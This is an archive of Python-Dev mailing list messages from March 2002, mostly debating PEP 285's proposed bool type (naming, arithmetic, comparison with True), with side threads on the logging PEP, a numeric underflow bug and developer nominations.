From pedroni@inf.ethz.ch  Fri Mar  8 20:10:05 2002
From: pedroni@inf.ethz.ch (Samuele Pedroni)
Date: Fri, 8 Mar 2002 21:10:05 +0100
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
References: <200203081543.g28Fh9804171@pcp742651pcs.reston01.va.comcast.net> <3C88E760.ECD0C092@lemburg.com> <200203081650.g28GoP604672@pcp742651pcs.reston01.va.comcast.net> <3C88F2CD.FEB05C72@lemburg.com> <200203081733.g28HXH804948@pcp742651pcs.reston01.va.comcast.net> <3C89030A.AB939CF5@lemburg.com> <200203081849.g28InQJ05625@pcp742651pcs.reston01.va.comcast.net>             <3C891185.9010F8E@lemburg.com>  <200203081941.g28JfSt05905@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <020a01c1c6dd$3d29b4a0$6d94fea9@newmexico>

Hi,

Question: what will happen with all the return 1 or return 0 etc 
in the std lib and in user code and in the inline doc
and docs?

(I have found 167 return 1 in the std lib and 176
return 0,
and also code like this

    if os.name == 'mac':
        # The macintosh will select a listening socket for
        # write if you let it.  What might this mean?
        def writable (self):
            return not self.accepting
    else:
        def writable (self):
            return 1

which unchanged will define a bool vs int
function.)

There are function in the std lib that return 1 on success,
0 on failure. Are there function that do the contrary
like unix calls? Should these return True and False now.
Maybe not? In distutil code I have seen at least
one function documented as returning 'true'
on success.

Then there are really predicate function/methods,
they should probably be changed?
but that means that the situation for the
user will be *ideally* less muddy only when all
the code uses True/False everytime it makes sense,
and not 1/0.

regards.



From David Abrahams" <david.abrahams@rcn.com  Fri Mar  8 20:31:35 2002
From: David Abrahams" <david.abrahams@rcn.com (David Abrahams)
Date: Fri, 8 Mar 2002 15:31:35 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
References: <200203081543.g28Fh9804171@pcp742651pcs.reston01.va.comcast.net>              <3C890B2F.1486C05A@activestate.com> <200203081923.g28JNVl05772@pcp742651pcs.reston01.va.comcast.net> <3C8916E2.7A2C5DE3@activestate.com>
Message-ID: <088701c1c6e0$3f8354b0$0500a8c0@boostconsulting.com>

----- Original Message -----
From: "David Ascher" <DavidA@ActiveState.com>

> I wonder if the str()/repr() distinction or % formatting codes could
> help break the logjam.  Probably not.
>
> I'm still not convinced that the disease is worth the cure, but I'm
> open-minded =).

The big reason I was excited about bool in C++ when we got it was that I
knew I'd be able to do this, given b1,b2 of type bool:

    if (b1 == b2) ...

And there would be no chance of getting the wrong result because b1 and
b2 were different ways to spell "true" (i.e. b1 == 1, b2 == 42). I guess
the python analogy would be:

if bool(x[y]) == bool(z):
    ...

or something like that.

FWIW,
Dave




From skip@pobox.com  Fri Mar  8 20:28:44 2002
From: skip@pobox.com (Skip Montanaro)
Date: Fri, 8 Mar 2002 14:28:44 -0600
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: <200203081923.g28JNVl05772@pcp742651pcs.reston01.va.comcast.net>
References: <200203081543.g28Fh9804171@pcp742651pcs.reston01.va.comcast.net>
 <3C890B2F.1486C05A@activestate.com>
 <200203081923.g28JNVl05772@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <15497.7932.156125.499648@beluga.mojam.com>

Guido,

I'm kinda curious.  I understand all the arguments, but they've been around
for a long time.  It's not like any of the reasons for having a boolean are
new.  What straw broke your pet camel's back and made you sit down and say
to yourself, "We need a boolean type in Python.  I think I'll write a PEP
today instead of going to Starbucks for a latte."?

Skip


From neal@metaslash.com  Fri Mar  8 20:36:58 2002
From: neal@metaslash.com (Neal Norwitz)
Date: Fri, 08 Mar 2002 15:36:58 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
References: <3C88B8B9.23634.14D1588@localhost> <15497.693.681383.958048@beluga.mojam.com>
Message-ID: <3C8920EA.130EBB4B@metaslash.com>

Skip Montanaro wrote:
> 
>     Hans> This may be a minor issue, but this proposal will break code like
> 
>     Hans>   days_feb = 28 + isleapyear(year)
> 
>     Hans> assuming that booleans cannot be added to ints. :-)
> 
> I don't think this will be a problem.  Guido's proposal is for bool to be a
> subclass of int.  Consequently, 28 + True should yield 29 (perhaps with a
> warning from PyChecker).

This gave me an idea that in general it might be useful to try to address
the ways that adding a new feature might break existing code.  Or
other problems which may occur.

I (or some other brave soul) could then use each case to add warnings
to pychecker.  This could help people prior to upgrading, 
which was a complaint I just read about on c.l.py.

If the cases were in the PEP, the portability concerns could be addressed
by pychecker.

To start the ball rolling on this PEP, here are the issues I can think of:

	* User already defining true or false in various cases
	* Performing any binary operation (+, -, *, /, **, &, |, ^) 
		on one or two booleans
	* return [01] -> false, true   # thanks, samuele

Neal


From guido@python.org  Fri Mar  8 20:39:36 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 08 Mar 2002 15:39:36 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: Your message of "Fri, 08 Mar 2002 21:10:05 +0100."
 <020a01c1c6dd$3d29b4a0$6d94fea9@newmexico>
References: <200203081543.g28Fh9804171@pcp742651pcs.reston01.va.comcast.net> <3C88E760.ECD0C092@lemburg.com> <200203081650.g28GoP604672@pcp742651pcs.reston01.va.comcast.net> <3C88F2CD.FEB05C72@lemburg.com> <200203081733.g28HXH804948@pcp742651pcs.reston01.va.comcast.net> <3C89030A.AB939CF5@lemburg.com> <200203081849.g28InQJ05625@pcp742651pcs.reston01.va.comcast.net> <3C891185.9010F8E@lemburg.com> <200203081941.g28JfSt05905@pcp742651pcs.reston01.va.comcast.net>
 <020a01c1c6dd$3d29b4a0$6d94fea9@newmexico>
Message-ID: <200203082039.g28Kdan06347@pcp742651pcs.reston01.va.comcast.net>

> Question: what will happen with all the return 1 or return 0 etc 
> in the std lib and in user code and in the inline doc
> and docs?

Ideally they would have to be changed into True and False, but there's
no hurry -- 0 and 1 will continue to be valid as truth values too.

> (I have found 167 return 1 in the std lib and 176
> return 0,
> and also code like this
> 
>     if os.name == 'mac':
>         # The macintosh will select a listening socket for
>         # write if you let it.  What might this mean?
>         def writable (self):
>             return not self.accepting
>     else:
>         def writable (self):
>             return 1
> 
> which unchanged will define a bool vs int
> function.)

A job for PyChecker! :-)

> There are function in the std lib that return 1 on success,
> 0 on failure. Are there function that do the contrary
> like unix calls? Should these return True and False now.
> Maybe not?

I doubt there are any functions returning 0 for success and -1 for
failure, but if there are, they should not be changed.

> In distutil code I have seen at least
> one function documented as returning 'true'
> on success.

Another reason to introduce a Boolean type. :-)

> Then there are really predicate function/methods,
> they should probably be changed?

Yes.  I hope that most of the C code goes through some easy choke
point that makes it simple to change a lot of these at once
(e.g. using Py_True and Py_False).

> but that means that the situation for the
> user will be *ideally* less muddy only when all
> the code uses True/False everytime it makes sense,
> and not 1/0.

Yes, it will take time before everything is converted.  That's why we
must be careful to decide if we really want this.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Fri Mar  8 20:41:33 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 08 Mar 2002 15:41:33 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: Your message of "Fri, 08 Mar 2002 14:28:44 CST."
 <15497.7932.156125.499648@beluga.mojam.com>
References: <200203081543.g28Fh9804171@pcp742651pcs.reston01.va.comcast.net> <3C890B2F.1486C05A@activestate.com> <200203081923.g28JNVl05772@pcp742651pcs.reston01.va.comcast.net>
 <15497.7932.156125.499648@beluga.mojam.com>
Message-ID: <200203082041.g28KfXs06368@pcp742651pcs.reston01.va.comcast.net>

> I'm kinda curious.  I understand all the arguments, but they've been
> around for a long time.  It's not like any of the reasons for having
> a boolean are new.  What straw broke your pet camel's back and made
> you sit down and say to yourself, "We need a boolean type in Python.
> I think I'll write a PEP today instead of going to Starbucks for a
> latte."?

Well, the subclassing from int solution is new in 2.2.  Other than
that, I was thinking of something non-controversial to be added to
2.3.  Big mistake... :-)

Time for my latte.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From jacobs@penguin.theopalgroup.com  Fri Mar  8 20:41:31 2002
From: jacobs@penguin.theopalgroup.com (Kevin Jacobs)
Date: Fri, 8 Mar 2002 15:41:31 -0500 (EST)
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: <200203082002.g28K2ZJ06150@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <Pine.LNX.4.44.0203081540020.14837-100000@penguin.theopalgroup.com>

On Fri, 8 Mar 2002, Guido van Rossum wrote:
> Now let's you and I go decide on the Python track and tutorials for
> OSCON 2002...

I know the deadlines was a week ago, but I just found out (about 10 minutes
ago) that I will be in the country for OSCON 2002.  Is it too late to
volunteer to do a Python metaclass and new-object model tutorial?

-Kevin

--
Kevin Jacobs
The OPAL Group - Enterprise Systems Architect
Voice: (216) 986-0710 x 19         E-mail: jacobs@theopalgroup.com
Fax:   (216) 986-0714              WWW:    http://www.theopalgroup.com



From tim.one@comcast.net  Fri Mar  8 20:45:09 2002
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 08 Mar 2002 15:45:09 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: <15497.7932.156125.499648@beluga.mojam.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCGELPOCAA.tim.one@comcast.net>

[Skip Montanaro]
> I'm kinda curious.  I understand all the arguments, but they've
> been around for a long time.  It's not like any of the reasons for
> having a boolean are new.  What straw broke your pet camel's back and
> made you sit down and say to yourself, "We need a boolean type in
> Python.  I think I'll write a PEP today instead of going to Starbucks
> for a latte."?

It's obvious to me.  I sent a "PEP Parade" message last night, stating in
part that Guido wanted to keep new features out of the core for 2.3.  Guido
simply couldn't let a chance to prove me wrong slip by; indeed, that was my
intent in making the claim to begin with <wink>.



From pedroni@inf.ethz.ch  Fri Mar  8 20:36:55 2002
From: pedroni@inf.ethz.ch (Samuele Pedroni)
Date: Fri, 8 Mar 2002 21:36:55 +0100
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
References: <200203081543.g28Fh9804171@pcp742651pcs.reston01.va.comcast.net> <3C88E760.ECD0C092@lemburg.com> <200203081650.g28GoP604672@pcp742651pcs.reston01.va.comcast.net> <3C88F2CD.FEB05C72@lemburg.com> <200203081733.g28HXH804948@pcp742651pcs.reston01.va.comcast.net> <3C89030A.AB939CF5@lemburg.com> <200203081849.g28InQJ05625@pcp742651pcs.reston01.va.comcast.net> <3C891185.9010F8E@lemburg.com> <200203081941.g28JfSt05905@pcp742651pcs.reston01.va.comcast.net>             <020a01c1c6dd$3d29b4a0$6d94fea9@newmexico>  <200203082039.g28Kdan06347@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <02a401c1c6e0$fd032420$6d94fea9@newmexico>

From: Guido van Rossum <guido@python.org>
> > but that means that the situation for the
> > user will be *ideally* less muddy only when all
> > the code uses True/False everytime it makes sense,
> > and not 1/0.
>
> Yes, it will take time before everything is converted.  That's why we
> must be careful to decide if we really want this.

Yup, that's what I was thinking about.
(Especially) During the conversion phase:

>> 0 > 1
False
>> import baz
>> bar = baz.Baz()
>> bar.isfoo()
1

will be really less puzzling than

>> 0 > 1
0
>> import baz
>> bar = baz.Baz()
>> bar.isfoo()
1

Or given that the usual truth semantics is still there, is just the first
output
"cosmetically" better /purer, and not really conceptually easier (?).
I have no strong feeling about this, just wondering.

regards.




From gsw@agere.com  Fri Mar  8 21:07:56 2002
From: gsw@agere.com (Gerald S. Williams)
Date: Fri, 8 Mar 2002 16:07:56 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: <E16jQEk-0005S9-00@mail.python.org>
Message-ID: <GBEGLOMMCLDACBPKDIHFKEGOCHAA.gsw@agere.com>

I didn't want to jump on the bandwagon, but...

It occurs to me that one potential benefit of having a
boolean type is to avoid mistakes like this:

test = value & MASK
if test == True:
    DoSomething()

Sure, "if bool(test) == True:" does the right thing, but
so does "if test:". You wouldn't have made the mistake
in the first place if you'd thought of that. :-)

I think at least add something like this should be added
to the description in the PEP:

    def __cmp__(self,other):
        return int.__cmp__(self,bool(other))

-Jerry

-O Gerald S. Williams, 22Y-103GA : mailto:gsw@agere.com O-
-O AGERE SYSTEMS, 555 UNION BLVD : office:610-712-8661  O-
-O ALLENTOWN, PA, USA 18109-3286 : mobile:908-672-7592  O-



From guido@python.org  Fri Mar  8 22:09:27 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 08 Mar 2002 17:09:27 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: Your message of "Fri, 08 Mar 2002 16:07:56 EST."
 <GBEGLOMMCLDACBPKDIHFKEGOCHAA.gsw@agere.com>
References: <GBEGLOMMCLDACBPKDIHFKEGOCHAA.gsw@agere.com>
Message-ID: <200203082209.g28M9RJ06658@pcp742651pcs.reston01.va.comcast.net>

> I didn't want to jump on the bandwagon, but...
> 
> It occurs to me that one potential benefit of having a
> boolean type is to avoid mistakes like this:
> 
> test = value & MASK
> if test == True:
>     DoSomething()
> 
> Sure, "if bool(test) == True:" does the right thing, but
> so does "if test:". You wouldn't have made the mistake
> in the first place if you'd thought of that. :-)
> 
> I think at least add something like this should be added
> to the description in the PEP:
> 
>     def __cmp__(self,other):
>         return int.__cmp__(self,bool(other))

Absolutely not.  I want True == 2 to be False.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From DavidA@ActiveState.com  Fri Mar  8 22:33:54 2002
From: DavidA@ActiveState.com (David Ascher)
Date: Fri, 08 Mar 2002 14:33:54 -0800
Subject: [Fwd: Re: [Python-Dev] For review: PEP 285: Adding a bool type]
Message-ID: <3C893C52.2D68256F@activestate.com>

[resent - forgot python-dev in my reply to guido]

Guido van Rossum wrote:

> Absolutely not.  I want True == 2 to be False.

Intersesting.  so:
	operator.truth(2) would be True

but:
	2 == True would be False

and:
	bool(2) would be True

Once again, casting, coercion, comparisons and truth value rear their
fuzzy heads.

--david


From guido@python.org  Fri Mar  8 22:44:53 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 08 Mar 2002 17:44:53 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: Your message of "Fri, 08 Mar 2002 14:32:43 PST."
 <3C893C0B.2315CA9E@activestate.com>
References: <GBEGLOMMCLDACBPKDIHFKEGOCHAA.gsw@agere.com> <200203082209.g28M9RJ06658@pcp742651pcs.reston01.va.comcast.net>
 <3C893C0B.2315CA9E@activestate.com>
Message-ID: <200203082244.g28Mira06869@pcp742651pcs.reston01.va.comcast.net>

> > Absolutely not.  I want True == 2 to be False.
> 
> Interesting.  so:
> 	operator.truth(2) would be True

Yes, this would do exactly the same as bool(2).

> but:
> 	2 == True would be False

Just as in C99 (the new updated C standard, not yet in actual use).

> and:
> 	bool(2) would be True
> 
> Once again, casting, coercion, comparisons and truth value rear their
> fuzzy heads.

For the first time, we'll have a standard way to cast an arbitrary
value to a normalized truth value.  Currently we write "not not x" for
that.  Now *that* is ugly.

Also, you'll be able to use 'is' and 'is not', as follows:

  if bool(x) is True: ...

  if bool(y) is not True: ...

Not that I endorse this (I still think that anybody who takes a
boolean result and then compares it to True is crazy), but it reads
like English. :-)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From martin@v.loewis.de  Fri Mar  8 23:31:11 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 09 Mar 2002 00:31:11 +0100
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: <200203081844.g28IiHM05580@pcp742651pcs.reston01.va.comcast.net>
References: <200203081543.g28Fh9804171@pcp742651pcs.reston01.va.comcast.net>
 <m34rjrq75s.fsf@mira.informatik.hu-berlin.de>
 <200203081844.g28IiHM05580@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <m3it86iqm8.fsf@mira.informatik.hu-berlin.de>

Guido van Rossum <guido@python.org> writes:

> > I would prefer these constants to be named "true" and "false",
> > respectively.
> 
> But all other built-in constants have an initial capital letter: None,
> NotImplemented, Ellipsis, ...

That certainly doesn't apply generally to all of Python: sys.version,
sys.byteorder, sys.platform, sys.maxunicode, string.digits,
string.other_constant_strings.

Those you bring up are conceptually "objects", in the sense that you
want to be aware of identity, whereas true and false are conceptually
"values", in the sense that you never care about their identity, only
about their state.

Regards,
Martin



From barry@zope.com  Fri Mar  8 23:36:44 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Fri, 8 Mar 2002 18:36:44 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
References: <GBEGLOMMCLDACBPKDIHFKEGOCHAA.gsw@agere.com>
 <200203082209.g28M9RJ06658@pcp742651pcs.reston01.va.comcast.net>
 <3C893C0B.2315CA9E@activestate.com>
 <200203082244.g28Mira06869@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <15497.19212.132369.840646@anthem.wooz.org>

>>>>> "GvR" == Guido van Rossum <guido@python.org> writes:

    GvR> For the first time, we'll have a standard way to cast an
    GvR> arbitrary value to a normalized truth value.  Currently we
    GvR> write "not not x" for that.  Now *that* is ugly.

That's a huge benefit I hadn't thought of.  I use that idiom often
because it's a cheap substitute for the lack of a ?: statement.  But
it does confound a lot of people!

-Barry


From mhammond@skippinet.com.au  Sat Mar  9 02:45:37 2002
From: mhammond@skippinet.com.au (Mark Hammond)
Date: Sat, 9 Mar 2002 13:45:37 +1100
Subject: [Python-Dev] PEP 282: A Logging System  --  comments please
In-Reply-To: <20020215164333.A31903@ActiveState.com>
Message-ID: <LCEPIIGDJPKCOIHOBJEPEEDAFEAA.mhammond@skippinet.com.au>

> I would appreciate any comments you might have on this proposal
> for adding a
> logging system to the Python Standard Library. This PEP is still an early
> draft so please forward your comments just to me directly for now.

Better late than never :)

I think the PEP looks good!

Re filters:  I agree that we need not go as far as ipchains, and no one has
said we should.  So change that text accordingly.  ie, the "The latter is
modeled" para can just be a quick not that log4j does it differently, but we
have opted for the simpler solution".

> "XXX How to defined a nice convenience function for logging an exception?
>       mx.Log has something like this, doesn't it?

I would suggest simply:
   def exception(self, msg, *args):
      This is almost identical to error(), but sys.exc_info() is
      called, and if available the exception details are appended
      to msg.  As sys.exc_info() is called, this is only useful in
      an exception handler.

If that isn't good enough, using traceback with StringIO is pretty easy to
create your own log message.

> XXX What about a .raising() convenience function?  How about:

Not convinced we need it.  An error() call is pretty good, and hopefully
will still stand out like a sore thumb.  In general, I would expect a
.error() call to be followed by an exception, or some other severe failure
anyway, so is kinda redundant.

>
>  What Logging Levels?
>
>    The following are the logging levels defined by the systems I looked
at:
>
>    - log4j: DEBUG, INFO, WARN, ERROR, FATAL
>...
>    The current proposal is to copy log4j.  XXX I suppose I could see
>    adding zLOG's "TRACE" level, but I am not sure of the usefulness
>    of others.

    I agree 100%  No need for TRACE either.  What is a TRACE message?  It is
a debug message.  Filtering should be done primarily via the module, not the
level.  (I loved "SYSTEM_UNIMPORTANT" - if it is unimportant, then don't
have it:)

> Static Logging Methods (as per Syslog)?

I quite like the idea of a simple:
            import logging
            logging.error("Something is wrong")

and worse, I quite like the idea of pulling namespace hacks so that a
reasonable module name is used.  Walking the stack until you find '__name__'
in your globals is a good default ;)

Good job!

Mark.



From tim.one@comcast.net  Sat Mar  9 05:17:40 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sat, 09 Mar 2002 00:17:40 -0500
Subject: [Python-Dev] RE: [Numpy-discussion] RE: Python 2.2 seriously crippled for numerical
 computation?
In-Reply-To: <LNBBLJKPBEHFEDALKOLCCEALOBAA.tim.one@comcast.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCIENIOCAA.tim.one@comcast.net>

I hope the bogus underflow problem is fixed in CVS Python now.  Since my
platform didn't have the problem (and still doesn't, of course), we won't
know for sure until people try it and report back.

Python used to link with -lieee, but somebody changed it for a reason
history may have lost.  See comments attached to Huaiyu Zhu's bug report for
more on that:

<http://sf.net/tracker/?func=detail&aid=525705&group_id=5470&atid=105470>

If someone on a box that had the problem can build current CVS Python with
and without -lieee (I'm told it defaults to "without" today, although that
appears to mixed up with whether or not __fpu_control is found outside of
libieee (search for "ieee" in configure.in)), please try the following in a
shell:

import math
x = 1e200
y = 1/x

math.pow(x, 2)  # expect OverflowError
math.pow(y, 2)  # expect 0.

pow(x, 2)       # expect OverflowError
pow(y, 2)       # expect 0.

x**2            # expect OverflowError
y**2            # expect 0.

If those all work as annotated on a box that had the problem, please report
the success *as a comment to the bug report* (link above).  If one or more
still fail, likewise please give box details and paste the failures into a
comment on the bug report.

Thanks!



From tim.one@comcast.net  Sat Mar  9 06:11:28 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sat, 09 Mar 2002 01:11:28 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: <06bc01c1c6ba$3b6ab470$0500a8c0@boostconsulting.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCIENLOCAA.tim.one@comcast.net>

[David Abrahams]
> In general, I can change my doctests to use assert rather than looking
> for 1 or 0.

If you want x-version doctests, you could change

"""
>>> boolean_expect_true
1
>>> boolean_expect_false
0
"""

to, e.g.,

"""
>>> boolean_expect_true and 1
1
>>> boolean_expect_false or 0
0
"""

Then you won't get hosed by -O (as an assert would do).  You may not run
doctests with -O today, but the more -O does over time the more important it
will become to do so.

Right now running tests under -O mainly protects against logic errors
introduced by hiding crucial parts of the code in "if __debug__:" blocks,
and few people use __debug__ explicitly now.



From tim.one@comcast.net  Sat Mar  9 06:37:51 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sat, 09 Mar 2002 01:37:51 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: <200203081923.g28JNVl05772@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCGENMOCAA.tim.one@comcast.net>

[Guido]
> ... (I've seen lots of code defining constants True and False or
> variations), what's missing is a standard way so everybody can do it
> the same way.

That's what drove C99 to standardize a bool type.  Indeed, Python may be the
only non-trivial C project I've worked on that didn't #define its own
boolean gimmick for internal use.

I'd like to note too that a Boolean concept is needed all over the place,
despite that it's not an official type.  It shows up in docstrings even now:

>>> print hasattr.__doc__
hasattr(object, name) -> Boolean
...

>>> import os
>>> print os.isatty.__doc__
isatty(fd) -> Boolean
...
>>>

That's not an exhaustive list, just a tease.



From tim.one@comcast.net  Sat Mar  9 08:24:33 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sat, 09 Mar 2002 03:24:33 -0500
Subject: [Python-Dev] Moving bugs and patches through the pipeline more
 quickly
In-Reply-To: <15496.47489.139827.778887@12-248-41-177.client.attbi.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCOEOAOCAA.tim.one@comcast.net>

[Skip Montanaro]
> ...
> I plan to also add the same capability for patches.  I realize
> this probably overlaps badly with Jeremy's scraper,

I doubt Jeremy bothers to run that anymore.

> but are there people who are interested in seeing summaries like this?

Not me, but I'm very keen to force other people to see it <wink>.

> If so, are there enough people interested in this that I should send
> it to an existing list like python-checkins, or should I create a
> separate list?

I agree with python-dev:  if anyone on python-dev thinks bugs and patches
are an irrelevant bother, they should unsubscribe.

damn-i-love-getting-too-old-to-care<wink>-ly y'rs  - tim



From mal@lemburg.com  Sat Mar  9 11:39:37 2002
From: mal@lemburg.com (M.-A. Lemburg)
Date: Sat, 09 Mar 2002 12:39:37 +0100
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
References: <200203081543.g28Fh9804171@pcp742651pcs.reston01.va.comcast.net> <3C890B2F.1486C05A@activestate.com> <200203081923.g28JNVl05772@pcp742651pcs.reston01.va.comcast.net>
 <3C8912A7.A913A4FE@lemburg.com> <200203081944.g28JicE05942@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <3C89F479.9D79F5E3@lemburg.com>

Guido van Rossum wrote:
> 
> > >>> True * 10
> > 10
> > >>> False * 10
> > 0
> >
> > If you want to dive into logic here, the only correct output
> > would be:
> >
> > >>> True * 10
> > True
> > >>> False * 10
> > False
> 
> What has logic got to do with this?

Booleans are by nature truth values. You can do boolean algebra
on them, but this algebra is completly different from what
you get if you treat them as numbers having two values 0 and 1
(bits). Booleans representing a logical value should not
implement +, -, *, etc. at all. Instead, they would have to
be converted to integers first, to implement these operations.

I think in summary, the confusion we have run into here is 
caused by Python's use of bits to represent booleans. You
would like to move this usage more in the direction of booleans,
but only half way.
 
> > However, this would break even more code... your bool
> > type is much more like a bit type (or would have to behave
> > like one in order to maintain backwards compatibility).
> 
> I never said otherwise.  It behaves exactly like int except for those
> operations where the PEP specifies something different.  This is
> intentional, since anything else will break too much code.

Exactly; which is why I don't understand the move to
override __str__ with something which doesn't have anything
to do with integers :-)

Heck, it's only one method we're argueing about here.
Why are all these cycles needed to convince you that backwards
compatibility is better than the cosmetics of having str(True)
return 'True' ? You can always implement the latter as a
subtype of bool if you care enough and without breaking code.

-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
______________________________________________________________________
Company & Consulting:                           http://www.egenix.com/
Python Software:                   http://www.egenix.com/files/python/


From David Abrahams" <david.abrahams@rcn.com  Sat Mar  9 12:43:38 2002
From: David Abrahams" <david.abrahams@rcn.com (David Abrahams)
Date: Sat, 9 Mar 2002 07:43:38 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
References: <LNBBLJKPBEHFEDALKOLCIENLOCAA.tim.one@comcast.net>
Message-ID: <0a5201c1c768$36ed92b0$0500a8c0@boostconsulting.com>

----- Original Message -----
From: "Tim Peters" <tim.one@comcast.net>


> [David Abrahams]
> > In general, I can change my doctests to use assert rather than
looking
> > for 1 or 0.
>
> If you want x-version doctests, you could change
>
> """
> >>> boolean_expect_true
> 1
> >>> boolean_expect_false
> 0
> """
>
> to, e.g.,
>
> """
> >>> boolean_expect_true and 1
> 1
> >>> boolean_expect_false or 0
> 0
> """
>
> Then you won't get hosed by -O (as an assert would do).

...I guess I can see why you're really intending that

    >>> 0 or False
    False

but

    >>> False or 0
    0

This sure rubs all my expectations for a bool the wrong way, though. I
think I'd better just write my own assertion routine, as Guido
suggested. I don't like non-obvious language constructs for something so
simple (I'd mention ?: here but I don't need the bruises).


> You may not run
> doctests with -O today, but the more -O does over time the more
important it
> will become to do so.

Yes.



From skip@pobox.com  Sat Mar  9 13:29:10 2002
From: skip@pobox.com (Skip Montanaro)
Date: Sat, 9 Mar 2002 07:29:10 -0600
Subject: [Python-Dev] Two developer candidates
Message-ID: <15498.3622.740770.219249@12-248-41-177.client.attbi.com>

Folks,

I've received just two requests from people to become developers:

    Jeff Bauer (jeff@rubic.com)
    Bernard Yue (bernie@3captus.com)

Jeff I know personally, as the Developer's Day chair and the WinCE port
maintainer.  I don't know Bernie though I recognized his name.  The posts I
saw from him on google were all answers to questions other people had.  Sort
of looked like a mini-python-help archive.  Bernie is the chief architect at
3captus in Hong Kong.  They produce a product in Python that takes data
feeds from other sources and creates XML-RPC or SOAP servers that can be
used to generate subscription-based services.

I don't have a problem with either Jeff or Bernie being granted developer
privileges.  Feel free to add your two cents.

Skip



From guido@python.org  Sat Mar  9 14:33:40 2002
From: guido@python.org (Guido van Rossum)
Date: Sat, 09 Mar 2002 09:33:40 -0500
Subject: [Python-Dev] Two developer candidates
In-Reply-To: Your message of "Sat, 09 Mar 2002 07:29:10 CST."
 <15498.3622.740770.219249@12-248-41-177.client.attbi.com>
References: <15498.3622.740770.219249@12-248-41-177.client.attbi.com>
Message-ID: <200203091433.g29EXeK09233@pcp742651pcs.reston01.va.comcast.net>

> I've received just two requests from people to become developers:
> 
>     Jeff Bauer (jeff@rubic.com)
>     Bernard Yue (bernie@3captus.com)
> 
> Jeff I know personally, as the Developer's Day chair and the WinCE port
> maintainer.  I don't know Bernie though I recognized his name.  The posts I
> saw from him on google were all answers to questions other people had.  Sort
> of looked like a mini-python-help archive.  Bernie is the chief architect at
> 3captus in Hong Kong.  They produce a product in Python that takes data
> feeds from other sources and creates XML-RPC or SOAP servers that can be
> used to generate subscription-based services.
> 
> I don't have a problem with either Jeff or Bernie being granted developer
> privileges.  Feel free to add your two cents.

Great!  I have one reservation, but maybe I should be talked out of
it: I don't recall seeing patches submitted to SF by either of these.
Maybe we need to give them a trial period where they submit their work
to SF first?  Soon enough we'll see if they're worth giving commit
privileges based upon the volume of their output.

Or am I being too conservative?  It could be that the chore of
uploading to SF is enough of a deterrent to make these good folks
unproductive...  Chicken or egg, really.  Should we just go for it?

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Sat Mar  9 14:51:52 2002
From: guido@python.org (Guido van Rossum)
Date: Sat, 09 Mar 2002 09:51:52 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: Your message of "Sat, 09 Mar 2002 12:39:37 +0100."
 <3C89F479.9D79F5E3@lemburg.com>
References: <200203081543.g28Fh9804171@pcp742651pcs.reston01.va.comcast.net> <3C890B2F.1486C05A@activestate.com> <200203081923.g28JNVl05772@pcp742651pcs.reston01.va.comcast.net> <3C8912A7.A913A4FE@lemburg.com> <200203081944.g28JicE05942@pcp742651pcs.reston01.va.comcast.net>
 <3C89F479.9D79F5E3@lemburg.com>
Message-ID: <200203091451.g29Epqp09273@pcp742651pcs.reston01.va.comcast.net>

[MAL]
> > > If you want to dive into logic here, the only correct output
> > > would be:
> > >
> > > >>> True * 10
> > > True
> > > >>> False * 10
> > > False

[Guido]
> > What has logic got to do with this?

[MAL]
> Booleans are by nature truth values. You can do boolean algebra
> on them, but this algebra is completly different from what
> you get if you treat them as numbers having two values 0 and 1
> (bits). Booleans representing a logical value should not
> implement +, -, *, etc. at all. Instead, they would have to
> be converted to integers first, to implement these operations.

So you're reversing your position.  First (see above) you were
pleading that True*10 should yield True.  Now you are pleading that it
should raise an exception.

Anyway, in a brand new language the latter might be a good idea, but
since we're trying to evolve Python without breaking (much) existing
code, we have no choice: bools must behave like ints as much as
possible, especially in arithmetic.

